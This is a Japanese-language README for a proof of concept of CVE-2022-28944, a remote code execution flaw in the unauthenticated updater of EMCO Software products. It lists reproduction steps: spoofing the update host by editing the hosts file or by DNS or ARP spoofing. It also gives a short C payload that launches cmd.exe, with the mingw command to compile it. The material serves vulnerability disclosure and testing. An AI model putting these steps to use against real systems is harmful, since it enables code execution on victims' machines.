CVE-2022-28944

EMCO Software の複数製品における、認証されていない更新によるリモートコード実行の脆弱性。

使用方法: python3 cve-2022-28944_poc.py

詳細はレポート gerr.re を参照してください。

再現手順

1. EMCO Software の影響を受ける製品をインストールします。
2. storage.emcosoftware.com のスプーフィングを攻撃者側の IP に設定します。
   • 概念実証のためには、ターゲット上の c:\windows\system32\drivers\etc\hosts を編集します。
     • 注: 攻撃者は例えば以下を使用する可能性があります:
       • 設定が不適切なルーター/スイッチ/DNS、
       • DNSスプーフィング / キャッシュポイズニング、
       • ARPスプーフィング / キャッシュポイズニング。
3. 攻撃者側で proof.c をコンパイルします。例: i686-w64-mingw32-gcc proof.c -o proof.exe を使用します。

#include <windows.h>
int main(int argc, char const *argv[]){	
	WinExec("cmd.exe",1);
	return TRUE;
}